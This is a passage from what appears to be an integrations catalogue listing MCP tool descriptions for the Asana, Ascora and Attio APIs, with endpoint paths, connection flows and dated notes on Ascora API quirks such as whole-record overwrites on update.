asana_put_portfolios_by_portfolio_gid (write) — Update portfolio via PUT /portfolios/{portfolio_gid} PUT /api/v1/asana/portfolios/{portfolio_gid}. Scopes: none. asana_put_project_briefs_by_project_brief_gid (write) — Update project brief via PUT /project_briefs/{project_brief_gid} PUT /api/v1/asana/project_briefs/{project_brief_gid}. Scopes: none. asana_put_project_portfolio_settings_by_project_portfolio_setting_gid (write) — Update project portfolio setting via PUT /project_portfolio_settings/{project_portfolio_setting_gid} PUT /api/v1/asana/project_portfolio_settings/{project_portfolio_setting_gid}. Scopes: none. asana_put_projects_by_project_gid (write) — Update project via PUT /projects/{project_gid} PUT /api/v1/asana/projects/{project_gid}. Scopes: none. asana_put_rates_by_rate_gid (write) — Update rate via PUT /rates/{rate_gid} PUT /api/v1/asana/rates/{rate_gid}. Scopes: none. asana_put_roles_by_role_gid (write) — Update role via PUT /roles/{role_gid} PUT /api/v1/asana/roles/{role_gid}. Scopes: none. asana_put_sections_by_section_gid (write) — Update section via PUT /sections/{section_gid} PUT /api/v1/asana/sections/{section_gid}. Scopes: none. asana_put_stories_by_story_gid (write) — Update story via PUT /stories/{story_gid} PUT /api/v1/asana/stories/{story_gid}. Scopes: none. asana_put_tags_by_tag_gid (write) — Update tag via PUT /tags/{tag_gid} PUT /api/v1/asana/tags/{tag_gid}. Scopes: none. asana_put_tasks_by_task_gid (write) — Update task via PUT /tasks/{task_gid} PUT /api/v1/asana/tasks/{task_gid}. Scopes: none. asana_put_teams_by_team_gid (write) — Update team via PUT /teams/{team_gid} PUT /api/v1/asana/teams/{team_gid}. Scopes: none. asana_put_time_tracking_categories_by_time_tracking_category_gid (write) — Update time tracking category via PUT /time_tracking_categories/{time_tracking_category_gid} PUT /api/v1/asana/time_tracking_categories/{time_tracking_category_gid}. Scopes: none. asana_put_time_tracking_entries_by_time_tracking_entry_gid (write) — Update time tracking entry via PUT /time_tracking_entries/{time_tracking_entry_gid} PUT /api/v1/asana/time_tracking_entries/{time_tracking_entry_gid}. Scopes: none. asana_put_timesheet_approval_statuses_by_timesheet_approval_status_gid (write) — Update timesheet approval status via PUT /timesheet_approval_statuses/{timesheet_approval_status_gid} PUT /api/v1/asana/timesheet_approval_statuses/{timesheet_approval_status_gid}. Scopes: none. asana_put_users_by_user_gid (write) — Update user via PUT /users/{user_gid} PUT /api/v1/asana/users/{user_gid}. Scopes: none. asana_put_webhooks_by_webhook_gid (write) — Update webhook via PUT /webhooks/{webhook_gid} PUT /api/v1/asana/webhooks/{webhook_gid}. Scopes: none. asana_put_workspaces_by_workspace_gid (write) — Update workspace via PUT /workspaces/{workspace_gid} PUT /api/v1/asana/workspaces/{workspace_gid}. Scopes: none. asana_put_workspaces_by_workspace_gid_users_by_user_gid (write) — Update user for workspace via PUT /workspaces/{workspace_gid}/users/{user_gid} PUT /api/v1/asana/workspaces/{workspace_gid}/users/{user_gid}. Scopes: none. ================================================================================ ## Ascora URL: https://www.agenticfabriq.com/integrations/ascora Section: Integrated Tools Ascora — 46 MCP tools Provider key: ascora. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ascora_delete_webhooks_by_subscriptionid (write, destructive) — Remove a webhook subscription so Ascora stops calling its URL. DESTRUCTIVE. DELETE /WebHooks/{SubscriptionID}. ⚠ The path is NOT the one the documentation's heading gives. Measured 2026-09-19 with a valid key: DELETE /WebHooks/Delete/{id} answers 404 "No HTTP resource was found that matches the request URI", while DELETE /WebHooks/{id} answers 200 {"success": true}. The PDF carries both spellings -- the heading says /WebHooks/Delete/ and its own worked example on the next line says DELETE /WebHooks/1d930e71-... -- and the example is the real one. ⚠ A 200 here is NOT evidence the subscription existed: a subscription id that matches nothing answers the same 200 {"success": true}, and Ascora publishes no endpoint that lists subscriptions, so the removal cannot be read back. DELETE /api/v1/ascora/WebHooks/{SubscriptionID}. Scopes: api. ascora_get_accounting_getinvoicestosend (read) — Retrieve the customer invoices dated before a given date that still need to be pushed to an accounting package, with their full line detail. GET /Accounting/GetInvoicesToSend. Part of Ascora's accounting-integration set, which exists for accounts NOT using a package with a direct connection (Xero, MYOB, QuickBooks). ⚠ `priorToDate` is effectively REQUIRED and its absence is spelled as a ROUTING failure, not a validation one: without it Ascora answers 404 "No HTTP resource was found that matches the request URI" (measured 2026-09-19), which reads exactly like a missing route. Answers a bare JSON ARRAY. GET /api/v1/ascora/Accounting/GetInvoicesToSend. Scopes: api. ascora_get_accounting_getpaymentstosend (read) — Retrieve the payments entered in Ascora that still need to be pushed to an accounting package. GET /Accounting/GetPaymentsToSend. Answers a bare JSON ARRAY. Each entry carries the payment, the invoice it was applied to, the customer, any surcharge and the receipt number. `priorToDate` behaves as it does on the invoices read -- the documented example always passes it. GET /api/v1/ascora/Accounting/GetPaymentsToSend. Scopes: api. ascora_get_customers_contact_by_id (read) — Retrieve one contact record by its Ascora contact id. GET /Customers/Contact/{id}. A contact that does not exist answers HTTP 200 with {"success": false, "message": "No matching Contact found based on ID specified "} (measured 2026-09-19), not a 404. GET /api/v1/ascora/Customers/Contact/{id}. Scopes: api. ascora_get_customers_contacts (read) — Search contacts across all customers, with paging and `totalPages`/`totalRecords`. GET /Customers/Contacts. Each result carries the `customerId` the contact belongs to. GET /api/v1/ascora/Customers/Contacts. Scopes: api. ascora_get_customers_customer_by_id (read) — Retrieve one customer record by its Ascora customer id. GET /Customers/Customer/{id}. A customer that does not exist is NOT a 404: Ascora answers HTTP 200 with {"success": false, "message": "No matching Customer found for ID "} (measured 2026-09-19). Read `success`, not the status code. GET /api/v1/ascora/Customers/Customer/{id}. Scopes: api. ascora_get_customers_customers (read) — Search the customer list, with filters, paging, and `totalPages`/`totalRecords` on the response. GET /Customers/Customers. Called with no filters it returns the whole customer list a page at a time. This is also the endpoint the connection probe uses. ⚠ The documented `PhoneNumber` filter is NOT offered: measured 2026-09-19 it is IGNORED by Ascora on this endpoint -- `PhoneNumber=99999` (and five other spellings) returned every customer -- so a caller who passed it would read an unfiltered list as a match. Use `FilterText`, which does match phone and mobile numbers, instead. (`PhoneNumber` on `ascora_get_customers_contacts` works and is kept.) GET /api/v1/ascora/Customers/Customers. Scopes: api. ascora_get_customers_getcontactsforcustomer_by_customerid (read) — List every contact attached to one customer. GET /Customers/GetContactsForCustomer/{customerId}. A customer id that matches nothing answers 200 with an EMPTY results list and `success: true` -- not the `success: false` envelope the by-id reads use (measured 2026-09-19), so an empty answer here does not distinguish "no contacts" from "no such customer". GET /api/v1/ascora/Customers/GetContactsForCustomer/{customerId}. Scopes: api. ascora_get_inventory_categories (read) — Search the categories that segment supplies and kits, at either the parent or the sub-category level. GET /Inventory/Categories. A category is in Category 1 or Category 2, and may be a sub-category under a parent (`parentCategoryId`). GET /api/v1/ascora/Inventory/Categories. Scopes: api. ascora_get_inventory_kits (read) — Search kits -- packaged combinations of supplies and labour -- returning markup, pricing method and category for each. GET /Inventory/Kits. The `kitId` on each result is what `ascora_post_quotes_addkits` takes as its `Id`. GET /api/v1/ascora/Inventory/Kits. Scopes: api. ascora_get_inventory_supplies (read) — Search basic price-list items -- materials and services -- returning cost, sell price and category for each. GET /Inventory/Supplies. The `supplyId` on each result is what `ascora_post_quotes_addsupplies` takes as its `Id`. GET /api/v1/ascora/Inventory/Supplies. Scopes: api. ascora_get_jobs_job_by_jobnumber (read) — Retrieve one job by its full job number, with its status, pricing, totals, addresses and customers. GET /Jobs/Job/{JobNumber}. A job that does not exist answers HTTP 200 with {"success": false, "message": "No Matching Job Found ()"} (measured 2026-09-19), not a 404. `jobStatus` is an integer: 0 New, 1 In Progress, 2 Completed, 3 Cancelled, 4 Deferred, 5 Booked, 6 Unscheduled, 7 Ready To Invoice, 8 Closed. GET /api/v1/ascora/Jobs/Job/{JobNumber}. Scopes: api. ascora_get_jobs_joblabour_by_jobnumber (read) — List every labour entry booked against one job -- hours, role, rate, amounts, who did the work and whether it has been invoiced. GET /Jobs/JobLabour/{JobNumber}. A job number that matches nothing answers 200 with {"success": false, "message": "No Matching Job Found ()"} (measured 2026-09-19). GET /api/v1/ascora/Jobs/JobLabour/{JobNumber}. Scopes: api. ascora_get_jobs_jobs (read) — Search jobs by status, job type, assigned user, customer name or creation date, with paging. GET /Jobs/Jobs. JobStatus DEFAULTS TO OPEN when it is not supplied, so a call with no filters does NOT return every job -- pass JobStatus=ALL for that. This operation is MISSING FROM THE ENDPOINT LEDGER and was recovered from page 52 of the sealed PDF; it answers 200 (measured 2026-09-19). GET /api/v1/ascora/Jobs/Jobs. Scopes: api. ascora_get_jobs_jobtimesheets_by_jobnumber (read) — List every timesheet entry against one job -- start and end times, who, cost and pay rates, meal breaks and whether it has been sent to payroll. GET /Jobs/JobTimesheets/{JobNumber}. Timesheets are the raw time records; `ascora_get_jobs_joblabour_by_jobnumber` is the chargeable labour derived from them. A job number that matches nothing answers 200 with the No Matching Job Found envelope (measured 2026-09-19). GET /api/v1/ascora/Jobs/JobTimesheets/{JobNumber}. Scopes: api. ascora_get_quotes_labourroles (read) — List every current labour role -- the kinds of labour that can be added to a quote or job -- with its hourly rate, ordered by name. GET /Quotes/LabourRoles. Answers a bare JSON ARRAY (measured 2026-09-19). The `labourRoleId` on each entry is what `ascora_post_quotes_addlabouritems` takes as its `Id`. GET /api/v1/ascora/Quotes/LabourRoles. Scopes: api. ascora_get_quotes_quote_by_quotenumber (read) — Retrieve one quotation by its full quote number. GET /Quotes/Quote/{QuoteNumber}. A quote that does not exist answers HTTP 200 with {"success": false, "message": "No Matching Quotation Found ()", "code": "QUOTE-NOT-FOUND"} (measured 2026-09-19), not a 404. To address a SECTION or STAGE of a quote here, spell the number with a DASH instead of a dot -- Q1234-01, not Q1234.01 -- because a dot in a URL path segment is read as a file extension. GET /api/v1/ascora/Quotes/Quote/{QuoteNumber}. Scopes: api. ascora_get_quotes_quotes (read) — Search quotations by status, job type, assigned user, customer name or creation date, with paging. GET /Quotes/Quotes. QuoteStatus DEFAULTS TO OPEN when it is not supplied, so a call with no filters does NOT return every quote -- pass QuoteStatus=ALL for that. GET /api/v1/ascora/Quotes/Quotes. Scopes: api. ascora_get_quotes_standardsections (read) — List the standard Sections available to add to a quote or job, with their display order. GET /Quotes/StandardSections. Answers a bare JSON ARRAY rather than the usual {"success": ..., "results": [...]} envelope (measured 2026-09-19). GET /api/v1/ascora/Quotes/StandardSections. Scopes: api. ascora_get_quotes_standardstages (read) — List the standard Stages available to add to a quote or job, with their display order. GET /Quotes/StandardStages. Answers a bare JSON ARRAY rather than the usual results envelope (measured 2026-09-19). GET /api/v1/ascora/Quotes/StandardStages. Scopes: api. ascora_get_supplierinvoices_supplierinvoice_by_id (read) — Retrieve one supplier invoice or credit note by id, with its supplier, totals and line items. GET /SupplierInvoices/SupplierInvoice/{ID}. An id that matches nothing answers HTTP 200 with {"success": false, "message": "No matching Supplier Invoice found for ID "} (measured 2026-09-19), not a 404. GET /api/v1/ascora/SupplierInvoices/SupplierInvoice/{ID}. Scopes: api. ascora_get_supplierinvoices_supplierinvoices (read) — Search supplier invoices and credit notes by supplier, tracking number or invoice date, with their line items. GET /SupplierInvoices/SupplierInvoices. This is ALSO how you get the supplier invoices still to be sent to an accounting package: pass ToBeSentToAccountsOnly=true. The PDF spells that filter two ways -- `ToBeSentToAccounting` in the filter list on page 59 and `ToBeSentToAccountsOnly` in the Accounting section on page 80 -- and only the second is real. Measured 2026-09-19 through the shipped route against a supplier invoice before and after marking it sent: `ToBeSentToAccountsOnly=true` returned it before and EXCLUDED it after, while `ToBeSentToAccounting=true` returned it both times (Ascora ignores an unknown query parameter silently). The page-59 spelling is therefore not offered. GET /api/v1/ascora/SupplierInvoices/SupplierInvoices. Scopes: api. ascora_get_suppliers_supplier_by_id (read) — Retrieve one supplier record by its Ascora supplier id. GET /Suppliers/Supplier/{id}. ⚠ Unlike every other by-id read here, a supplier id that matches nothing answers HTTP 500 {"message": "An error has occurred."} rather than a 200 "not found" envelope (measured 2026-09-19 on a well-formed uuid that exists in no account). That 500 is Ascora's, not a fault in the request and not a credential problem -- confirm an id with `ascora_get_suppliers_suppliers` before reading it. GET /api/v1/ascora/Suppliers/Supplier/{id}. Scopes: api. ascora_get_suppliers_suppliers (read) — Search suppliers by name, supplier number or business number, with paging. GET /Suppliers/Suppliers. BusinessNumber is an EXACT match with all white space ignored on both sides, so "11222333444" finds a supplier stored as "11 22 33 444"; SupplierName and SupplierNumber are partial matches. GET /api/v1/ascora/Suppliers/Suppliers. Scopes: api. ascora_post_accounting_createpayment (write) — Record a payment in Ascora against a customer invoice, by invoice NUMBER. POST /Accounting/CreatePayment. Ascora names the refusal rather than just failing, and each has a code: INVOICE-NOT-SPECIFIED, INVOICE-NOT-FOUND, PAYMENT-METHOD-NOT-FOUND, and PAYMENT-EXCEEDS-BALANCE when the amount plus surcharge is more than the invoice still owes. All of them arrive as HTTP 200 with success:false (measured 2026-09-19: an unknown invoice number answers 200 {"success": false, "message": "No Matching Invoice Found (I00000)", "code": "INVOICE-NOT-FOUND"}). `paymentMethod` must already exist in Ascora -- unlike contact roles and lead sources, it is NOT created on demand. POST /api/v1/ascora/Accounting/CreatePayment. Scopes: api. ascora_post_accounting_markinvoicesassent (write) — Mark customer invoices as sent to your accounting package, so they stop being returned by the invoices-to-send read. POST /Accounting/MarkInvoicesAsSent. Answers a BARE INTEGER -- the number marked -- rather than a JSON object (measured 2026-09-19: an empty id list answers 200 with the body `0`). ⚠ An id that matches no invoice is NOT counted as 0: it answers Ascora 500 "An error has occurred." (measured 2026-09-19), so take the ids from `ascora_get_accounting_getinvoicestosend` rather than guessing. This marks CUSTOMER invoices; `ascora_post_supplierinvoices_markinvoicesassent` is the SUPPLIER-invoice equivalent. POST /api/v1/ascora/Accounting/MarkInvoicesAsSent. Scopes: api. ascora_post_accounting_markpaymentsassent (write) — Mark payments as sent to your accounting package, so they stop being returned by the payments-to-send read. POST /Accounting/MarkPaymentsAsSent. Answers a BARE INTEGER -- the number marked -- rather than a JSON object (measured 2026-09-19: an empty list AND a list holding an id that matches no payment both answer 200 with the body `0`, unlike the invoice form, which answers 500 for an unknown id). POST /api/v1/ascora/Accounting/MarkPaymentsAsSent. Scopes: api. ascora_post_attachments_by_entitytype_by_entityid (write) — Attach a file to an enquiry, job, quotation, task, supplier invoice, invoice, supply or customer. POST /Attachments/{EntityType}/{EntityId}. This is the ONE operation Ascora serves as multipart/form-data rather than JSON, and it is the one tool here that carries bytes. The file is supplied BASE64-ENCODED and BOUNDED -- see `fileContentBase64` -- and the connector decodes it and builds the multipart part; unbounded bytes never enter an MCP argument. Answers {"entityId": "", "success": true} where entityId is the new ATTACHMENT's id. Measured 2026-09-19: an EntityId that matches nothing answers 200 with {"success": false, "message": "No Entity found with the specified ID"}, so check `success`. POST /api/v1/ascora/Attachments/{EntityType}/{EntityId}. Scopes: api. ascora_post_customers_contact (write) — Create a contact against a customer, or update an existing one. POST /Customers/Contact. Supplying `contactId` updates that contact; omitting it creates a new one. ⚠ AN UPDATE REPLACES THE WHOLE RECORD, IT DOES NOT MERGE: every field omitted from the request is CLEARED. Measured 2026-09-19 -- an update sending only contactId, customerId, firstName, lastName and mobileNumber blanked the contact's emailAddress and contactRole. Read the contact first (`ascora_get_customers_contact_by_id`) and send it back whole with your changes. The response's `message` is "Contact Created/Updated" either way, so read the returned `contactId` to tell them apart. `contactRole` is the NAME of the role and Ascora CREATES the role if it cannot find it -- a typo here silently adds a new contact role to the account. POST /api/v1/ascora/Customers/Contact. Scopes: api. ascora_post_customers_customer (write) — Create a customer, or update an existing one by id. POST /Customers/Customer. Supplying `customerId` updates that customer; if no customer matches the id Ascora answers 200 with {"customer": null, "success": false, "message": "No Customer could be found matching ID "} rather than creating one. Omitting `customerId` always creates. ⚠ AN UPDATE REPLACES THE WHOLE RECORD, IT DOES NOT MERGE: every field omitted from the request is CLEARED. Measured 2026-09-19 -- an update sending only customerId, companyName and phoneNumber blanked the customer's emailAddress, street address and suburb (the customerType and leadSource links survived). Read the customer first (`ascora_get_customers_customer_by_id`) and send it back whole with your changes. `customerType` and `leadSource` are created by NAME if they do not exist. POST /api/v1/ascora/Customers/Customer. Scopes: api. ascora_post_enquiry (write) — Create an enquiry (a lead) in Ascora from a contact's details and a description of the work wanted. POST /Enquiry. Answers {"entityId": "", "success": true}, where entityId is the new enquiry's id -- the id to hand to `ascora_post_attachments_by_entitytype_by_entityid` or `ascora_post_notes_note` with entityType "Enquiry". POST /api/v1/ascora/Enquiry. Scopes: api. ascora_post_jobs_job (write) — Create a job against a customer's site. POST /Jobs/Job. `siteCustomer` is the only REQUIRED field; job type, pricing method, billing customer and address all fall back to Ascora defaults. To create a job FROM a quote, mark the quote WON with `ascora_post_quotes_updatestatus` instead -- that carries the quote's items across, which this does not. POST /api/v1/ascora/Jobs/Job. Scopes: api. ascora_post_notes_note (write) — Add a note to an enquiry, job, quotation, invoice or customer. POST /Notes/Note. Note the SMALLER entity list than attachments: notes support Enquiry, Job, Quotation, Invoice and Customer only. Answers {"entityId": "", "success": true} where entityId is the new NOTE's id. POST /api/v1/ascora/Notes/Note. Scopes: api. ascora_post_quotes_addkits (write) — Add kits -- packaged combinations of supplies and labour -- to an existing quotation or one of its sections. POST /Quotes/AddKits. The quote number is the FULL number including any section/stage numbering. An unmatched id is silently accepted, as on the supplies form. POST /api/v1/ascora/Quotes/AddKits. Scopes: api. ascora_post_quotes_addlabouritems (write) — Add labour items to a quotation, by labour role and number of hours. POST /Quotes/AddLabourItems. `QuantityAdded` is HOURS and may be fractional. Measured 2026-09-19: an unmatched role id answers 200 {"success": true} and an empty list answers 200, while a bad quote number answers the documented QUOTE-NOT-FOUND envelope -- and this account's only labour role, whose hourlyRateExTax is 0.0000, answers HTTP 500 {"message": "An error has occurred."}. That 500 is Ascora-side and specific to that role's data; it is not a fault in the request. POST /api/v1/ascora/Quotes/AddLabourItems. Scopes: api. ascora_post_quotes_addquotesections (write) — Add child sections to a section-based quotation, in display order. POST /Quotes/AddQuoteSections. The parent quote's pricing method must already be SECTIONS. Measured 2026-09-19 against a TIME-AND-MATERIALS quote: 200 with {"success": false, "message": "Sections cannot be added to a non-section Quotation. Pricing Method is currently TIME-AND-MATERIALS", "code": "INVALID-PRICING-METHOD"}. Create the sections first, then add items to them by their child quote numbers. POST /api/v1/ascora/Quotes/AddQuoteSections. Scopes: api. ascora_post_quotes_addsupplies (write) — Add price-list supplies to an existing quotation, or to one of its sections. POST /Quotes/AddSupplies. The quote number is the FULL number including any section/stage numbering -- Q1234.01 addresses section 1. Measured 2026-09-19: an id that matches no supply is silently accepted (200 {"success": true}) rather than refused, so read the quote back to confirm what landed. POST /api/v1/ascora/Quotes/AddSupplies. Scopes: api. ascora_post_quotes_addwriteins (write) — Add write-in items to a quotation -- one-off lines that do not exist in any price list. POST /Quotes/AddWriteIns. Ascora files them under the account's default Write In category automatically. POST /api/v1/ascora/Quotes/AddWriteIns. Scopes: api. ascora_post_quotes_clearquoteitems (write, destructive) — Remove all supplies, all kits and/or all labour from a quotation. DESTRUCTIVE: the removal is not per-item and cannot be undone through this API. POST /Quotes/ClearQuoteItems. Each flag clears an entire class of item. It applies to the quote number given ONLY -- on a section-based quote, pass the full child number (Q1234.01) to clear that section rather than the parent. POST /api/v1/ascora/Quotes/ClearQuoteItems. Scopes: api. ascora_post_quotes_deletequote (write, destructive) — Delete a quotation, or one section of one. DESTRUCTIVE and not reversible through this API. POST /Quotes/DeleteQuote. ONLY a quote whose status is In Progress can be deleted -- anything else answers 200 with {"success": false, "message": "Quotation () is not In Progress and so cannot be deleted", "code": "INVALID-STATUS"}. Deleting a SECTION recalculates the parent's totals and RENUMBERS the remaining sections, so section numbers held from an earlier call go stale. POST /api/v1/ascora/Quotes/DeleteQuote. Scopes: api. ascora_post_quotes_quote (write) — Create a quotation, optionally with its sections, supplies, kits, labour and write-ins in the same request. POST /Quotes/Quote. `siteCustomer` is the only REQUIRED field; everything else falls back to an Ascora default (the customer's own site address, the default job type, the site's billing customer, Time-and-Materials pricing). For a section-based quote, `pricingMethod` MUST be SECTIONS and the items go on `childQuotes` -- items at the parent level are ignored. Measured 2026-09-19: SECTIONS with no `childQuotes` answers 200 with {"success": false, "message": "Object reference not set to an instance of an object.", "code": "ERROR"} AND still consumes a quote number, so pass `childQuotes` whenever `pricingMethod` is SECTIONS. POST /api/v1/ascora/Quotes/Quote. Scopes: api. ascora_post_quotes_updatestatus (write) — Move a quotation to a new status -- in progress, sent to customer, lost or won. POST /Quotes/UpdateStatus. Marking a quote WON CREATES THE RELATED JOB and returns its job id in the success message, so this is not only a status change. Note the two vocabularies Ascora uses for quote status and do not mix them: the integer on a quote RESPONSE is 0 In Progress, 1 Lost, 2 Converted to Job, 3 Sent to Client, while the string this call accepts is IN-PROGRESS, SENT-TO-CUSTOMER, LOST or WON. POST /api/v1/ascora/Quotes/UpdateStatus. Scopes: api. ascora_post_supplierinvoices_markinvoicesassent (write) — Mark supplier invoices as having been sent to your accounting package, so they stop appearing in the to-be-sent searches. POST /SupplierInvoices/MarkInvoicesAsSent. Answers a BARE INTEGER -- the number marked -- rather than a JSON object (measured 2026-09-19: an empty id list answers 200 with the body `0`). Do not confuse this with `ascora_post_accounting_markinvoicesassent`, which marks CUSTOMER invoices. POST /api/v1/ascora/SupplierInvoices/MarkInvoicesAsSent. Scopes: api. ascora_post_supplierinvoices_supplierinvoice (write) — Create a supplier invoice or credit note with its line items. POST /SupplierInvoices/SupplierInvoice. `type` chooses which: INVOICE creates a supplier invoice, CREDIT creates a credit note. Attachments go on afterwards -- take `supplierInvoiceId` from the response and call `ascora_post_attachments_by_entitytype_by_entityid` with entityType "SupplierInvoice". POST /api/v1/ascora/SupplierInvoices/SupplierInvoice. Scopes: api. ascora_post_suppliers_supplier (write) — Create a supplier, or update an existing one by id. POST /Suppliers/Supplier. Supplying `supplierId` updates that supplier; omitting it creates a new one. ⚠ AN UPDATE REPLACES THE WHOLE RECORD, IT DOES NOT MERGE: every field omitted from the request is CLEARED. Measured 2026-09-19 -- an update sending only supplierId, name and phone blanked the supplier's businessNumber, email and address. Read the supplier first (`ascora_get_suppliers_supplier_by_id`) and send it back whole with your changes. POST /api/v1/ascora/Suppliers/Supplier. Scopes: api. ascora_post_webhooks (write) — Subscribe a URL to an Ascora event, so Ascora calls it when the event fires. POST /WebHooks. Answers {"subscriptionId": ""} -- and NOTHING ELSE, with no `success` key (measured 2026-09-19). Keep that id: it is the only way to unsubscribe, and Ascora publishes no endpoint that lists existing subscriptions. An unrecognised event name answers HTTP 200 {"message": "Unknown Web Hook Event provided "} with no subscriptionId; the connector turns that into a 400 `webhook_not_created` refusal rather than handing it back as a result (measured 2026-09-19). POST /api/v1/ascora/WebHooks. Scopes: api. ================================================================================ ## Attio URL: https://www.agenticfabriq.com/integrations/attio Section: Integrated Tools Attio — 131 MCP tools Provider key: attio. Scopes: activity_configuration:read, activity_configuration:read-write, activity_record:read, activity_record:read-write, call_recording:read, call_recording:read-write, comment:read, comment:read-write, email:read, file:read, file:read-write, list_configuration:read, list_configuration:read-write, list_entry:read, list_entry:read-write, meeting:read, meeting:read-write, note:read, note:read-write, object_configuration:read, object_configuration:read-write, record_permission:read, record_permission:read-write, sequence_unsubscribe:read-write, task:read, task:read-write, user_management:read, webhook:read, webhook:read-write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. attio_delete_v2_activities_by_activity (write, destructive) — Delete an activity. Deletes a single activity by its `activity_id` or slug, along with all of its records. Archived activities can also be deleted. DELETE /v2/activities/{activity} DELETE /api/v1/attio/v2/activities/{activity}. Scopes: activity_configuration:read-write, activity_record:read-write. attio_delete_v2_activities_by_activity_records_by_record_id (write, destructive) — Delete an activity record. Deletes a single activity record by its `record_id`. This endpoint is in alpha and may be subject to breaking changes as we gather feedback. DELETE /v2/activities/{activity}/records/{record_id} DELETE /api/v1/attio/v2/activities/{activity}/records/{record_id}. Scopes: activity_configuration:read, activity_record:read-write. attio_delete_v2_comments_by_comment_id (write, destructive) — Delete a comment. Deletes a comment by ID. If deleting a comment at the head of a thread, all messages in the thread are also deleted. A workspace-level access token may delete any comment. DELETE /v2/comments/{comment_id} DELETE /api/v1/attio/v2/comments/{comment_id}. Scopes: comment:read-write. attio_delete_v2_files_by_file_id (write, destructive) — Delete a file. Delete a single file by ID. Deleting a folder will delete all of its descendants. This endpoint is in beta. DELETE /v2/files/{file_id} DELETE /api/v1/attio/v2/files/{file_id}. Scopes: file:read-write, object_configuration:read, record_permission:read. attio_delete_v2_lists_by_list_entries_by_entry_id (write, destructive) — Delete a list entry. Deletes a single list entry by its `entry_id`. DELETE /v2/lists/{list}/entries/{entry_id} DELETE /api/v1/attio/v2/lists/{list}/entries/{entry_id}. Scopes: list_configuration:read, list_entry:read-write. attio_delete_v2_meetings_by_meeting_id_call_recordings_by_call_recording_id (write, destructive) — Delete call recording. Deletes the specified call recording. This will remove the call recording and all associated data. This endpoint is in beta. DELETE /v2/meetings/{meeting_id}/call_recordings/{call_recording_id} DELETE /api/v1/attio/v2/meetings/{meeting_id}/call_recordings/{call_recording_id}. Scopes: call_recording:read-write, meeting:read. attio_delete_v2_notes_by_note_id (write, destructive) — Delete a note. Delete a single note by ID. DELETE /v2/notes/{note_id} DELETE /api/v1/attio/v2/notes/{note_id}. Scopes: note:read-write. attio_delete_v2_objects_by_object_records_by_record_id (write, destructive) — Delete a record. Deletes a single record (e.g. a company or person) by ID. DELETE /v2/objects/{object}/records/{record_id} DELETE /api/v1/attio/v2/objects/{object}/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_delete_v2_objects_companies_records_by_record_id (write, destructive) — Delete a company record. Deletes a single company record by ID. DELETE /v2/objects/companies/records/{record_id} DELETE /api/v1/attio/v2/objects/companies/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_delete_v2_objects_deals_records_by_record_id (write, destructive) — Delete a deal record. Deletes a single deal record by ID. DELETE /v2/objects/deals/records/{record_id} DELETE /api/v1/attio/v2/objects/deals/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_delete_v2_objects_people_records_by_record_id (write, destructive) — Delete a person Record. Deletes a single person record by ID. DELETE /v2/objects/people/records/{record_id} DELETE /api/v1/attio/v2/objects/people/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_delete_v2_objects_users_records_by_record_id (write, destructive) — Delete a user record. Deletes a single user record by ID. DELETE /v2/objects/users/records/{record_id} DELETE /api/v1/attio/v2/objects/users/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_delete_v2_objects_workspaces_records_by_record_id (write, destructive) — Delete a workspace record. Deletes a single workspace record by ID. DELETE /v2/objects/workspaces/records/{record_id} DELETE /api/v1/attio/v2/objects/workspaces/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_delete_v2_tasks_by_task_id (write, destructive) — Delete a task. Delete a task by ID. DELETE /v2/tasks/{task_id} DELETE /api/v1/attio/v2/tasks/{task_id}. Scopes: task:read-write. attio_delete_v2_webhooks_by_webhook_id (write, destructive) — Delete a webhook. Delete a webhook by ID. DELETE /v2/webhooks/{webhook_id} DELETE /api/v1/attio/v2/webhooks/{webhook_id}. Scopes: webhook:read-write. attio_get_v2_activities (read) — List activities. Lists all system-defined and user-defined activities in your workspace. This endpoint is in alpha and may be subject to breaking changes as we gather feedback. GET /v2/activities GET /api/v1/attio/v2/activities. Scopes: activity_configuration:read. attio_get_v2_activities_by_activity (read) — Get an activity. Gets a single activity by its `activity_id` or slug. This endpoint is in alpha and may be subject to breaking changes as we gather feedback. GET /v2/activities/{activity} GET /api/v1/attio/v2/activities/{activity}. Scopes: activity_configuration:read. attio_get_v2_activities_by_activity_records_by_record_id (read) — Get an activity record. Gets a single activity record by its `record_id`. This endpoint is in alpha and may be subject to breaking changes as we gather feedback. GET /v2/activities/{activity}/records/{record_id} GET /api/v1/attio/v2/activities/{activity}/records/{record_id}. Scopes: activity_configuration:read, activity_record:read. attio_get_v2_by_target_by_identifier_attributes (read) — List attributes. Lists all attributes defined on a specific object or list. Attributes are returned in the order that they are sorted by in the UI. GET /v2/{target}/{identifier}/attributes GET /api/v1/attio/v2/{target}/{identifier}/attributes. Scopes: list_configuration:read, object_configuration:read. attio_get_v2_by_target_by_identifier_attributes_by_attribute (read) — Get an attribute. Gets information about a single attribute on either an object or a list. When `target` is `objects`, the required scopes are `object_configuration:read`. GET /v2/{target}/{identifier}/attributes/{attribute} GET /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}. Scopes: list_configuration:read, object_configuration:read. attio_get_v2_by_target_by_identifier_attributes_by_attribute_options (read) — List select options. Lists all select options for a particular attribute on either an object or a list. When `target` is `objects`, the required scopes are `object_configuration:read`. GET 